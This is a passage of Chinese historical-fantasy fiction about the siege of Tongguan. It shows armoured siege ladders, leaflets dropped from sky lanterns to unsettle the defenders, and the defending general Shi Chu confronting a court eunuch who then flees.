云梯高约四丈,底下有车轮,正在缓缓地向城墙靠近。为了抵挡来自守城方的攻击,云梯的三面都有盾牌抵挡。正面的盾牌上画着巨大的樾山鬼面,铜铃大的眼睛、锋利的牙齿,面目狰狞,犹如地狱恶鬼、阴间杀神。 每架云梯下方,配备了步兵方队,持着盾牌,抵挡来自城墙上的箭弩,推动云梯缓缓向前。 石础大惊,此前攻城的云梯,只有梯子,没有防护,因此士兵攀爬时很容易就会被城墙上的弓箭和刀剑击落。但是,如果是这种怪物般的云梯,只要它能靠近城墙,那么大周军将会快速杀入城内。 潼关城位于山地之中,并没有护城河,无法隔绝云梯的靠近。此前在城外挖出的三道壕沟,在昨夜的战斗中,大周军步兵已经趁乱填平其中一部分,造出了一条临时的道路! “火攻!”石础强自镇定心神,射出火箭。然后,也不知道那四周的盾牌是什么材料,火箭打不进去,掉落在地上,没有着火。 投石机的石头,在昨夜的战斗中,已经基本使用完毕。由于石材笨重,一时半会还搬不上来。 石础急忙安排人手去搬运石材,想用巨力去砸倒云梯。 然而,就在这时,从大周军营方向飘来无数的孔明灯,随着北风,吹入潼关城的上空,白纸不断地从空中洒落。石础追着捡了一张,只见上面几个大字写着:“独孤茂弃城逃跑!” 独孤茂回京,只有几个高级将领知道,底下士兵是不知情的,以免乱了军心。怎知大周军做如此诛心之策! 这纸张到处洒落,许多士兵都捡到了,也不知道这是真是假,都纷纷打听,人心乱了起来。 “说起来已经两天没见到元帅上城墙巡查了!” “这是不是大周军惑乱军心,想要乱我们阵脚!” “那些云梯跟恶鬼一样,真的很恐怖,我刚从城墙下来。” “潼关城是不是守不住了?” “这上面说降者不杀,是不是我们都不会有事?” “我听说汴京这几年风调雨顺、百姓安居乐业,是不是天命庇佑?” 底层士兵的窃窃私语,传到了丘德生的耳中。丘德生忍不住颤抖,他乃是秦王的内侍长,若是城破,自己恐怕是性命难保。他连忙把任命的圣旨给了石础,装腔作势地说:“石将军,陛下早就想过了,若是独孤元帅不在期间,突发战事,就任命您为元帅,总领潼关事,接旨吧。” 石础领过圣旨,电光火石之间,醒悟过来。他顾不得许多,宝刀出鞘,架在丘德生的脖子上,厉声问道:“你们是故意召回元帅?” 丘德生吓得尿都出来了,冰冷的刀还带着血腥气,他指尖隔开刀锋,连声告饶:“实在是老太君病重,所以才召回的。独孤元帅一切安好,一切安好!” 石础强忍住手刃丘德生的冲动,宝刀入鞘,疾步奔向城墙。丘德生则清点卫兵,趁乱从一侧城门逃遁回京。